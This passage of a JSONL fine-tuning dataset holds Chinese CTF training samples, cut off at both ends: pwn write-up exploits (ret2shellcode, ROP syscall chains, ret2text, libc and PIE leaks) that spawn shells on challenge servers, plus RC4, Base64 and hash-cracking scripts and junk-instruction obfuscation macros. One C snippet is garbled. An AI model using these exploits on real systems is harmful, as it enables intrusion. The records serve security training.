"source_record_id": "a1459efb79ed3011", "source_split": "train", "split": "train", "split_group_key": "979737a95ffac4663ae8319e", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c7421f7bfd07ab0b2783", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[MoeCTF 2022]syscall”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[MoeCTF 2022]syscall”。\n语言/类型：python\n关联知识点：\n- 利用gadget设置系统调用参数\n- 利用rax作为计数器的特性设置rax参数\n代码片段：\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\n\nio=gift[\"io\"]\nelf=gift[\"elf\"]\n\nru(\"first!\\n\")\ndz=ru(b\"1a9\").strip()\ndz=int(dz,16)\nprint(\"addr：\",hex(dz))\nbase=dz-0x11a9\nprint(\"base：\",hex(base))\n\nsh=0x00004010+base\nrdi=0x00000000000011b1+base\nrdx=0x00000000000011b4+base\nrsi=0x00000000000011b3+base\nsys=0x00000000000011b6+base\n\noff=72\npayload=b'a'*72+p64(rdi)+p64(sh)+p64(rsi)+p64(0)*2+p64(sys)\nsa(\"Go!!!\\n\",payload)\npay=b'a'*0x3b\ns(pay)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::b2e142fe6b270efe", "original_line": 20, "original_split": "test", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[MoeCTF 2022]syscall", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "b2e142fe6b270efe", "source_split": "test", "split": "train", "split_group_key": "b3d2bd3a4e520684d87daf09", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c75e0456a39ad60d2287", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《RC4 算法》的“标准RC4”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：RC4 算法 / 标准RC4\n关键词：RC4、ARC4、exp、key、enc、rc4、dec、ida、Crypto、Cipher\n蒸馏要点：\n- 2024Moectf RC4\n- 题目存在花指令，我们先进行去除。去除后我们分析代码。\n- 根据题目中的`RC4`字样我们就可以判断程序为 RC4 算法。\n- ida 反编译程序直接看到了一串包含`RC4`字样疑似密钥的字符，可以猜测这段字符就是密钥。\n- 然后我们找密文尝试解密，上面的三个字符串都是一样的，我们可以尝试一下它们是不是密文。\n- 假定程序是一个标准 RC4，编写解密脚本，然后成功解密。\n- 写加密脚本最好还是用 python，一个是快，另一个是可以避免类型错误。\n可用于训练的标准回答：\n### 标准RC4\n\n>2024Moectf RC4\n\n题目存在花指令，我们先进行去除。去除后我们分析代码。\n\n根据题目中的`RC4`字样我们就可以判断程序为 RC4 算法。\n\nida 反编译程序直接看到了一串包含`RC4`字样疑似密钥的字符，可以猜测这段字符就是密钥。\n\n然后我们找密文尝试解密，上面的三个字符串都是一样的，我们可以尝试一下它们是不是密文。\n\n假定程序是一个标准 RC4，编写解密脚本，然后成功解密。\n\n- exp\n\n```python\nfrom Crypto.Cipher import ARC4\n\nkey = b\"RC4_1s_4w3s0m3\"\n\nenc = bytes.fromhex(\"A7 1A 68 EC D8 27 11 CC 8C 9B 16 15 5C D2 67 3E 82 AD CE 75 D4 BC 57 56 C2 8A 52 B8 6B D6 CC F8 A4 BA 72 2F E0 57 15 B9 24 11\")\n\nrc4 = ARC4.new(key)\ndec = rc4.decrypt(enc)\n\nprint(dec)\n#moectf{why_Rc4_haS_The_Rev32sabl3_pr0ceSS}\n```\n\n- exp\n\n写加密脚本最好还是用 python，一个是快，另一个是可以避免类型错误。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0bbd8b41faf9c334", "original_line": 943, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "标准RC4", "source": "例题/RC4/RC4 算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0bbd8b41faf9c334", "source_split": "train", "split": "train", "split_group_key": "def99b737515f048fb63f91b", "tags": ["reverse", "crypto", "ctf-method"], "title": "RC4 算法", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c7a77db17cbf52f2a21d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“\\[HNCTF 2022 Week1\\]ret2shellcode”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / \\[HNCTF 2022 Week1\\]ret2shellcode\n关键词：shellcode、HNCTF、ret2shellcode、context、bss、payload、Week1、mprotect、exp、pwn\n蒸馏要点：\n- 将 shellcode 注入到修改为可执行权限的bss段，然后返回到bss段地址\n可用于训练的标准回答：\n### \\[HNCTF 2022 Week1\\]ret2shellcode\n\n#ret2shellcode #mprotect\n将 shellcode 注入到修改为可执行权限的bss段，然后返回到bss段地址\n\n- exp\n\n```python\nfrom pwn import *\n\nio=remote(\"node5.anna.nssctf.cn\",27816)\ncontext.arch=\"amd64\"\ncontext.log_level=\"debug\"\nbss=0x4040a0\nshellcode=asm(shellcraft.sh()).ljust(264,b'a')\npayload=shellcode+p64(bss)\nio.send(payload)\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::afe37e3a2c6dd32f", "original_line": 718, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "\\[HNCTF 2022 Week1\\]ret2shellcode", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "afe37e3a2c6dd32f", "source_split": "train", "split": "train", "split_group_key": "13b8f824b9e85e3c3c409163", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c7ba21db32ecf680888e", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“我的空调呢”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“我的空调呢”。\n语言/类型：shell\n关联知识点：\n- 不正确的数组索引，数组越界\n- fun函数中存在数组越界漏洞。\n- 通过 edit 中的整数溢出漏洞操作写入 memset 的 got 表，然后调用 delete getshell。\n代码片段：\n```shell\nArch:       amd64-64-little\n    RELRO:      Partial RELRO\n    Stack:      Canary found\n    NX:         NX enabled\n    PIE:        No PIE (0x3fc000)\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::958b0fd838e6d53f", "original_line": 97, "original_split": "validation", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "我的空调呢", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "958b0fd838e6d53f", "source_split": "validation", "split": "train", "split_group_key": "e5ad148f0aa960fb612db7c2", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c879070ce49f442ccdd9", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Base64》的“魔改”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Base64 / 魔改\n关键词：unk_489084、base64、main、a1、BUUCTF、BASE64、exp、import、enc、table1\n蒸馏要点：\n- BUUCTF 特殊的 BASE64\n- 换表就是将映射的编码表修改掉，但是加密过程是仍然不变的。\n- 前面讲过base64编码最关键的点在于根据值取编码表中的下标对应的字符。\n- 魔改编码表同样如此，所以我们可以获取密文在魔改编码表中的下标。然后获取下标在原编码表中的值之后。\n- 再进行常规解密。\n- 拿到程序后一般流程查壳，发现无壳\n- ida打开分析，发现为c++程序\n可用于训练的标准回答：\n### 魔改\n\n>BUUCTF 特殊的 BASE64\n\n- 原理\n\n换表就是将映射的编码表修改掉，但是加密过程是仍然不变的。\n前面讲过base64编码最关键的点在于根据值取编码表中的下标对应的字符。\n魔改编码表同样如此，所以我们可以获取密文在魔改编码表中的下标。然后获取下标在原编码表中的值之后。\n再进行常规解密。\n\n拿到程序后一般流程查壳，发现无壳\n\nida打开分析，发现为c++程序\n\n先查看一下字符串表\n\n第一行是很明显的 base64 编码字符串\n\n选中那行可能就是魔改后的编码表\n\n分析`main`函数代码逻辑\n\n根据前面发现的魔改编码表则使用常规解密的方法一定是不行的，所以我们必须换种方法。\n\n在构造 exp 之前还是先看一下加密函数\n\n分析 base64 加密函数\n\n发现在初始化`a1`的时候用的是`unk_489084`，进入查看一下\n\n发现为字符串窗口查看到的字符串，则确实为换表加密。\n\n根据逻辑构造exp\n\n- exp\n\n```python\nimport base64\nimport string\n\n#密文\nenc = \"mTyqm7wjODkrNLcWl0eqO8K8gc1BPk1GNLgUpI==\"\n\n#魔改后的编码表\ntable1 = \"AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0987654321/+\"\n\n#原编码表\ntable2 = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\n\n#将密文映射为原编码表\na=enc.translate(str.maketrans(table1,table2))\n\nprint(base64.b64decode(a).decode())\n\n#[FLAG_REDACTED]\n```\n\npython str.maketrans()方法用于创建字符映射的转换表，第一个参数是字符串表示要转换的字符串，第二个参数也是字符串表示转换的目标（两个字符串长度必须...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::69c6577859113b52", "original_line": 655, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "魔改", "source": "Base64.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "69c6577859113b52", "source_split": "train", "split": "train", "split_group_key": "ac6aa74458663941a3a40e38", "tags": ["reverse", "crypto", "ctf-method"], "title": "Base64", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c88bbd7aa31eb848f934", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“实现”？请用《花指令：原理：反汇编算法的设计缺陷》中的内容回答。", "role": "user"}, {"content": "1. **msvc 编译器实现**\n2. **gcc 编译器实现**\n3. 很明显，先对`ebx`进行`xor`之后，再进行`test`比较，`zf`标志位肯定为1，就肯定执行跳转 s1，也就是说中间`0xC7`永远不会执行。\n4. 不过这种一定要注意：记着保存`ebx`的值先把`ebx`压栈，最后在`pop`出来。\n5. 解混淆的时候也需要稍加注意，需要分析一下哪里是哪里是真正会跳到的位置，然后将垃圾数据`nop`掉，本质上和前面几种没什么不同。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c26a6e12c166dd9a", "original_line": 1008, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "实现", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c26a6e12c166dd9a", "source_split": "train", "split": "train", "split_group_key": "3907b431a394874211e4a560", "tags": ["pwn", "reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c89f60d05def1d6143da", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“\\[CISCN 2019华北\\]PWN1”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / \\[CISCN 2019华北\\]PWN1\n关键词：struct、pwn、import、payload、byte、CISCN、PWN1、remote、node4、anna\n蒸馏要点：\n- 1：存在栈溢出，有一个条件判断，正确则输出flag，通过栈溢出覆盖要判断的变量使判断正确\n- 2：直接返回到sytem函数地址\n可用于训练的标准回答：\n### \\[CISCN 2019华北\\]PWN1\n\n#pwn #浮点数\n1：存在栈溢出，有一个条件判断，正确则输出flag，通过栈溢出覆盖要判断的变量使判断正确\n2：直接返回到sytem函数地址\n\n**exp**\n```python\n#1\nfrom pwn import *\nimport struct\nsh=remote(\"node4.anna.nssctf.cn\",28112)\n#构造浮点数\nf=11.28215\n#将f变量转为浮点数格式\nb=struct.pack('f',f)\n#将浮点数f变量转换为十六进制\njg=b.hex()\npayload=b'a'*44+p32(jg)\nsh.sendline(payload)\nsh.interactive()\n\n#2\nfrom pwn import *\n#io=process(\"./pwn\")\nio=remote(\"node4.anna.nssctf.cn\",28551)\nsystem=0x4006be\npayload=b'a'*56+p64(system)\nio.sendline(payload)\nio.interactive()\n```\n\n```python\nimport struct\nf=11.28215\n#将f以单精度浮点数格式打包\nbyte=struct.pack('f',f)\n#将二进制数据转换为十六进制\njg=byte.hex()\n#结果输出为小端序\nfx=struct.unpack('f',byte)\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::fa41d16710d9d43e", "original_line": 865, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "\\[CISCN 2019华北\\]PWN1", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "fa41d16710d9d43e", "source_split": "train", "split": "train", "split_group_key": "06ce5eaeec9dbac7ebb03db4", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c8bb42f4e4c31a2c04b4", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“填满缓冲区”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. for i in range(0xb0):\n2. s(b'b'*0x48+p64(call_vuln)+b'\\x00'*0x10)\n3. ru('aaaaaaaaaaaaaaaaaaaaaaaa')\n4. libc = u64(r(6)+b'\\x00\\x00')-0x1e94a0\n5. system = libc + 0x000000000052290\n6. rdi = libc + 0x23b6a", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf"], "original_id": "chatml::test::distilled_training_data::test::681ba9309c6f744c", "original_line": 47, "original_split": "test", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "填满缓冲区", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "681ba9309c6f744c", "source_split": "test", "split": "train", "split_group_key": "f95fae5687cc0994370b504e", "tags": ["pwn"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c95e7cecf2e6d50913bf", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pyc：pyc文件》中“局部变量”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pyc：pyc文件》的“局部变量”。\n关联知识点：\n- `LOAD_FAST`：一般加载局部变量的值，也就是读取值，用于计算或者函数调用传参等\n- `STORE_FAST`：一般用于保存值到局部变量。\n- 对应的 python 代码：\n- 函数的参数也算局部变量，如何区分出是函数参数还是其他局部变量呢？\n- 参数没有初始化语句，也就是从函数开始到`LOAD_FAST`该变量的位置，如果没有看到`STORE_FAST`，那么该变量就是函数参数。\n代码片段：\n```\n0 LOAD_CONST    1 (0)\n2 STORE_FAST    0 (n)\n\n4 LOAD_CONST    1 (0)\n6 STORE_FAST    1 (p)\n\n8 LOAD_FAST     0 (n)\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::656c2c5d71b74133", "original_line": 986, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "局部变量", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "656c2c5d71b74133", "source_split": "train", "split": "train", "split_group_key": "483048ab4000f3be7c98ec84", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c97d8100daa435e0003a", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Hash 类算法》中“脚本爆破”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Hash 类算法》的“脚本爆破”。\n语言/类型：python\n关联知识点：\n- 通过编写脚本进行碰撞爆破。\n代码片段：\n```python\nimport string\nimport hashlib\nimport itertools\n\n#设置目标哈希值\ntarget = bytes.fromhex(\"\")\n\n#设置字符集（可以根据需要修改，以下为大小写字母和数字）\ncharset = (string.ascii_letters + string.digits).encode()\n\n#根据选择的哈希算法创建哈希对象\nhash_type = 'sha256'\n\nif hash_type == 'md5':\n    hash_func = hashlib.md5\nelif hash_type == 'sha1':\n    hash_func = hashlib.sha1\nelif hash_type == 'sha256':\n    hash_func = hashlib.sha256\nelse:\n    print(\"Unsupported hash type\")\n    exit()\n\nfor i in itertools.product(charset, repeat=6): #这里的6是字符的长度，可以修改为任何你想要的长度\n    guess = bytes(i)\n    hashed = hash_func(guess).digest()\n    if hashed == target:\n        print(f\"Found match: {guess.decode()}\")\n        break\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::40ba505541b33329", "original_line": 699, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "脚本爆破", "source": "Hash 类算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "40ba505541b33329", "source_split": "train", "split": "train", "split_group_key": "6e6a6ea2659cab865acba7da", "tags": ["crypto", "ctf-method"], "title": "Hash 类算法", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-ca2b3f18627d0754ee21", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“\\[NISACTF 2022\\]ezpie”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“\\[NISACTF 2022\\]ezpie”。\n语言/类型：python\n关联知识点：\n- 通过接受泄露的地址，计算基址，然后返回system函数\n代码片段：\n```python\nfrom pwn import *\n\nio=process(\"./pwn\")\nio.recvuntil(b\"gift!\\n\")\npie=io.recvline().split(b\"\\n\")[0]\nbase=int(pie,16)-0x770\nprint(base)\nsys=0x80f+base\npayload=b'a'*44+p32(sys)\nio.sendline(payload)\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::409f4384679e9647", "original_line": 1046, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "\\[NISACTF 2022\\]ezpie", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "409f4384679e9647", "source_split": "train", "split": "train", "split_group_key": "34e8975760262171585ace53", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-cbb2f5deb05178bdbee7", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《VM 指令虚拟化》中“书写机器码”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《VM 指令虚拟化》的“书写机器码”。\n语言/类型：c\n关联知识点：\n- 假定希望实现的语义如下：\n代码片段：\n```c\n#include\n#include\n\nint main(){\n\tchar input[6];\n\tchar target[]=\"Hello\";\n\n\tscanf(\"%5s\",input);\n\tfor(int i=0;icode,code,sizeof(code)); //拷贝机器码\n\treturn vm;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::b6b2b0eee84fb6b7", "original_line": 690, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "书写机器码", "source": "VM 指令虚拟化.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "b6b2b0eee84fb6b7", "source_split": "train", "split": "train", "split_group_key": "5ee32a3066f9663c9f155dd9", "tags": ["reverse"], "title": "VM 指令虚拟化", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-cdc6c6bf8780cf268ac9", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《花指令：原理：反汇编算法的设计缺陷》的“快速插入花指令”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：花指令：原理：反汇编算法的设计缺陷 / 快速插入花指令\n关键词：FLOWER、include、define、asm、volatile、jnz、byte、printf、hello、world\n蒸馏要点：\n- 我们可以通过将花指令定义为宏来快速插入花指令。\n可用于训练的标准回答：\n## 快速插入花指令\n\n我们可以通过将花指令定义为宏来快速插入花指令。\n\n- 示例\n\n```c\n#include\n#include\n\n#define FLOWER  \\\n    __asm__ __volatile__ ( \\\n        \"jz s\\n\\t\"         \\\n        \"jnz s\\n\\t\"        \\\n        \".byte 0xC7\\n\\t\"   \\\n        \"s:\\n\\t\"           \\\n    )\n\nint main(){\n    FLOWER;\n    printf(\"hello world\\n\");\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::31012596b098f482", "original_line": 729, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "快速插入花指令", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "31012596b098f482", "source_split": "train", "split": "train", "split_group_key": "6d6e6410e29e8e8e90e3519f", "tags": ["reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-cdebd2f61b5bb2ea33ce", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“ciscn2019ne5”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / ciscn2019ne5\n关键词：canary、pie、RELRO、PIE、elf、由于程序将一个长字符串复制到一个短的字符数组中，所以产生了栈溢出\n\n并且程序中存在、函数和、字符串\n可以通过ret2text进行利用\n\n- exp、p32、system\n蒸馏要点：\n- 发现程序为32位程序，没有`canary`和`pie`保护。\n- 由于程序将一个长字符串复制到一个短的字符数组中，所以产生了栈溢出\n- 并且程序中存在`system`函数和`sh`字符串\n- 可以通过ret2text进行利用\n可用于训练的标准回答：\n### ciscn2019ne5\n\n- 分析\n\n发现程序为32位程序，没有`canary`和`pie`保护。\n\n```\n\tArch:     i386-32-little\n    RELRO:    Partial RELRO\n    Stack:    No canary found\n    NX:       NX enabled\n    PIE:      No PIE (0x8048000)\n```\n\n由于程序将一个长字符串复制到一个短的字符数组中，所以产生了栈溢出\n\n并且程序中存在`system`函数和`sh`字符串\n可以通过ret2text进行利用\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = 